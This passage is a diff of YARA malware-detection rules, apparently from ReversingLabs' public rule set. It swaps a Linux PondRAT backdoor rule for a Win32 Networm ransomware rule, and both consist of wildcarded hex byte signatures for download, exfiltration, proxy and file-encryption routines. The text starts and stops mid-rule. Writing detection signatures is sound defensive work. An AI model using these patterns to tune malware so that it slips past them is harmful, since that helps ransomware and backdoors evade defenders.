?? 0F 0B 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 + ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? + ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 } - $download_file_v2_p2 = { - 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 48 81 78 ?? ?? ?? - ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 08 48 8B 50 ?? 48 8B 40 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 - 89 1C 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? 48 89 - 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 83 - 7C 24 ?? ?? 74 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? - ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 - ?? ?? ?? ?? C3 48 C7 04 24 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? - 48 89 44 24 ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? - 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 0F 57 C0 0F - 11 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 0F 57 C0 0F 11 - 44 24 ?? 48 8B 40 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? - 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? - ?? ?? 48 8D 44 24 ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? - 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 - 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + $encrypt_files_p3 = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? + ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 + 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 55 89 E5 81 + EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B + 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? + 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 } - $network_communication_v3 = { - 49 3B 66 ?? 76 ?? 48 83 EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 4D 8B 66 ?? 0F 1F 84 00 - ?? ?? ?? ?? 4D 85 E4 0F 85 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 7C 24 ?? 4C 89 84 24 ?? - ?? ?? ?? 48 89 44 24 ?? 48 85 C0 74 ?? 48 8B 10 4C 8B 60 ?? 48 89 D0 4D 89 D3 4D 89 - CA 4D 89 C1 49 89 F0 48 89 FE 48 89 CF 48 89 D9 4C 89 E3 E8 ?? ?? ?? ?? 48 8B 6C 24 - ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? 90 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 - 89 7C 24 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 4C 89 54 24 ?? E8 ?? ?? ?? - ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 48 8B 7C 24 ?? 48 8B 74 24 ?? 4C 8B - 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 ?? E9 ?? ?? ?? ?? 4C 8D 6C 24 ?? 0F 1F 44 00 ?? - 4D 39 2C 24 0F 85 ?? ?? ?? ?? 49 89 24 24 + $encrypt_files_p4 = { + D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 75 ?? C6 45 ?? ?? 8D 45 ?? 89 04 24 + E8 ?? ?? ?? ?? 0F B6 45 ?? C9 C3 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D + ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 + EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 + 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 + EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 + ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B + 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? + 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? + 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 89 45 } - $get_mac_address_v3 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 75 ?? 48 85 DB 7E ?? 48 89 5C - 24 ?? 31 C9 31 D2 31 F6 31 FF EB ?? 31 C0 31 C9 EB ?? 31 C0 31 DB 48 89 F9 48 89 F7 - 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 85 C0 75 ?? 31 C0 31 DB 31 C9 48 - 89 C7 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 01 48 8B 59 ?? 31 C9 31 - FF 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 4C 8B 54 24 ?? 49 8D 42 ?? 4C 89 - C1 48 89 D3 48 89 FA 48 89 DF 48 89 4C 24 ?? 48 89 44 24 ?? 48 89 54 24 ?? 48 89 7C - 24 ?? 48 89 74 24 ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? - ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 4C 8B - 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 89 C0 4C 89 C9 - E8 ?? ?? ?? ?? 0F 1F 00 48 85 DB 74 ?? 48 8B 4C 24 ?? 48 8D 71 ?? 48 8B 7C 24 ?? 48 - 39 F7 72 ?? 48 8B 54 24 ?? EB ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? - 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 73 ?? 48 8B 5C 24 ?? 48 89 C2 48 89 CF 48 8B 44 - 24 ?? 48 8B 4C 24 ?? 48 C1 E1 ?? 48 89 5C 0A ?? 4C 8D 04 0A 83 3D ?? ?? ?? ?? ?? 75 - ?? 48 89 04 0A EB ?? 48 89 F9 4C 89 C7 E8 ?? ?? ?? ?? 48 89 CF EB ?? 48 8B 74 24 ?? - 48 8B 54 24 ?? 48 8B 7C 24 ?? 4C 8B 44 24 ?? 49 FF C0 4C 8B 4C 24 ?? 0F 1F 44 00 ?? - 4D 39 C1 0F 8F ?? ?? ?? ?? 48 89 F0 48 89 D1 E9 + $encrypt_files_p5 = { + 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? + 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B 4D + ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 45 ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 + ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D + 45 ?? 8B 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? + C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8D 45 ?? 89 04 24 + C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? + ?? ?? 8B 45 ?? 8D 4D ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 } - $download_file_v3_p1 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 - ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 F8 48 89 F3 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C - 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F 11 3A 48 8B - 54 24 ?? 48 8B 72 ?? 48 8B 7A ?? 48 89 F0 48 89 FB 0F 1F 00 E8 ?? ?? ?? ?? 48 8D 0D - ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 82 - ?? ?? ?? ?? 48 8B 9A ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 0F - 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F - 11 3A E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 - 8B 44 24 ?? 48 8B 5C 24 ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 - ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 - ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 C7 48 89 + $encrypt_files_p6 = { + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 8B 00 + 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 85 ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? 8D 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 3D ?? + ?? ?? ?? 77 ?? 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 EC ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 + ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? C7 44 24 ?? ?? ?? ?? ?? 89 C1 89 54 24 ?? 8B 45 + ?? 89 44 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 3B 55 ?? 89 95 ?? ?? ?? ?? 0F 85 ?? ?? ?? + ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C1 E8 ?? 89 8D ?? ?? ?? ?? 85 C0 + 89 85 ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 89 85 ?? + ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 45 ?? ?? 83 85 ?? ?? ?? ?? + ?? 8B 55 ?? 39 95 ?? ?? ?? ?? 75 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 } - $download_file_v3_p2 = { - DE 45 31 C0 45 31 C9 4D 89 CA 48 8B 44 24 ?? 48 8D 1D ?? ?? ?? ?? 48 89 CA B9 ?? ?? - ?? ?? FF D2 48 85 DB 0F 85 ?? ?? ?? ?? 48 81 78 ?? ?? ?? ?? ?? 75 ?? 48 8B 08 48 8B - 78 ?? 48 8B 70 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? - 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB 48 - 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 C0 48 8B 5C 24 ?? 48 8B 4C 24 ?? E8 - ?? ?? ?? ?? 31 FF 31 F6 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 44 0F 11 7C - 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? - 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? - ?? ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? - ?? ?? C3 31 C0 48 89 DF 48 89 CE 31 DB 48 89 D9 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? - ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 - ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 48 8B 7C 24 - ?? 48 8B 74 24 + $encrypt_files_p7 = { + C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 4D ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? 89 4C 24 + ?? 8B 95 ?? ?? ?? ?? 89 54 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 83 EC ?? 3B 4D ?? 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? + ?? ?? 89 14 24 E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? C6 45 ?? + ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 + 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 + ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 04 24 C7 + 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 8D 4D ?? 8B 45 ?? 39 C8 74 ?? 89 04 24 E8 ?? + ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 89 45 ?? E9 } condition: - uint32( 0 ) == 0x464C457F and ( ( ( $network_communication_v1 ) and ( $send_system_information_v1 ) and ( all of ( $download_file_v1_p* ) ) ) or ( ( $network_communication_v2 ) and ( all of ( $download_file_v2_p* ) ) and ( $send_system_information_v2 ) ) or ( ( $network_communication_v3 ) and ( $get_mac_address_v3 ) and ( all of ( $download_file_v3_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Pondrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Networm : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects PondRAT backdoor." + description = "Yara rule that detects Networm ransomware." author = "ReversingLabs" - id = "4169846b-5333-5dfb-886a-8699ae95fc96" - date = "2025-09-22" - modified = "2025-09-22" + id = "3b17b97d-c882-5f65-8b89-847e2300873c" + date = "2021-07-05" + modified = "2021-07-05" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.PondRAT.yara#L1-L99" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Networm.yara#L1-L103" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d3a1e7fa39e35574164ebdb1c4d8b63937cb4ee135734056efc24771151c1091" + logic_hash = "ff9bcb9868522f9d4abf2ab9f94d5b7c9b009e5c6d0cf832c7d052f18e048b31" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "PondRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Networm" tc_detection_factor = 5 importance = 25 strings: - $connect_proxy_p1 = { - 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 4C 8D A4 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 C7 00 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BF ?? ?? - ?? ?? 89 6B ?? 48 89 E5 89 43 ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 C2 BE - ?? ?? ?? ?? 48 89 DF 49 89 C5 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 - DF 31 DB E8 ?? ?? ?? ?? 48 89 D8 48 89 E7 B9 ?? ?? ?? ?? F3 48 AB 8B 15 ?? ?? ?? ?? - BE ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 4C - 89 E7 F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 49 B8 ?? ?? ?? ?? ?? - ?? ?? ?? 4C 89 84 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 89 F7 48 89 A4 24 - ?? ?? ?? ?? B1 ?? F3 48 AB 48 89 D7 B1 ?? F3 48 AB 48 89 E1 8B 19 48 83 C1 ?? 8D 83 - ?? ?? ?? ?? F7 D3 21 D8 25 ?? ?? ?? ?? 74 ?? 89 C3 48 BF ?? ?? ?? ?? ?? ?? ?? ?? 48 - 89 B4 24 ?? ?? ?? ?? C1 EB ?? A9 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 0F 44 C3 48 8D + $find_files = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? 8B 7D ?? 33 DB + 6A ?? 59 33 C0 89 5D ?? 89 4D ?? 66 89 45 ?? 89 5D ?? 89 5D ?? 89 4D ?? 66 89 45 ?? + 68 ?? ?? ?? ?? 8B D7 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? 3B C8 + 74 ?? 88 9D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? + 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D + 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D + ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? F6 85 + ?? ?? ?? ?? ?? 8D 45 ?? 74 ?? 6A ?? 50 8B CE E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? + ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 8B 1D ?? ?? ?? ?? FF D3 8B F0 83 FE ?? 75 ?? 83 7F ?? ?? 8B C7 72 ?? 8B 07 68 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 7F ?? ?? 72 ?? 8B 3F 57 FF 15 ?? ?? + ?? ?? 85 C0 75 ?? FF D3 8B F0 EB ?? FF 15 ?? ?? ?? ?? EB ?? 33 F6 8D 4D ?? E8 ?? ?? + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2 } - $connect_proxy_p2 = { - 59 ?? BF ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 0F 44 - CB 00 C0 8B 84 24 ?? ?? ?? ?? 48 83 D9 ?? 48 BB ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? 48 29 E9 48 89 9C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 84 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 C6 - 4C 89 E7 48 89 C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 4C 89 EF 89 C5 E8 ?? ?? ?? ?? 85 ED 75 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? - ?? 48 89 DE F3 A6 74 ?? 48 89 DF BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - 89 E8 5B 5D 41 5C 41 5D C3 0F 1F 00 48 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 89 - E8 5B 5D 41 5C 41 5D C3 + $remote_connection_p1 = { + 55 8B EC 83 EC ?? A1 ?? ?? 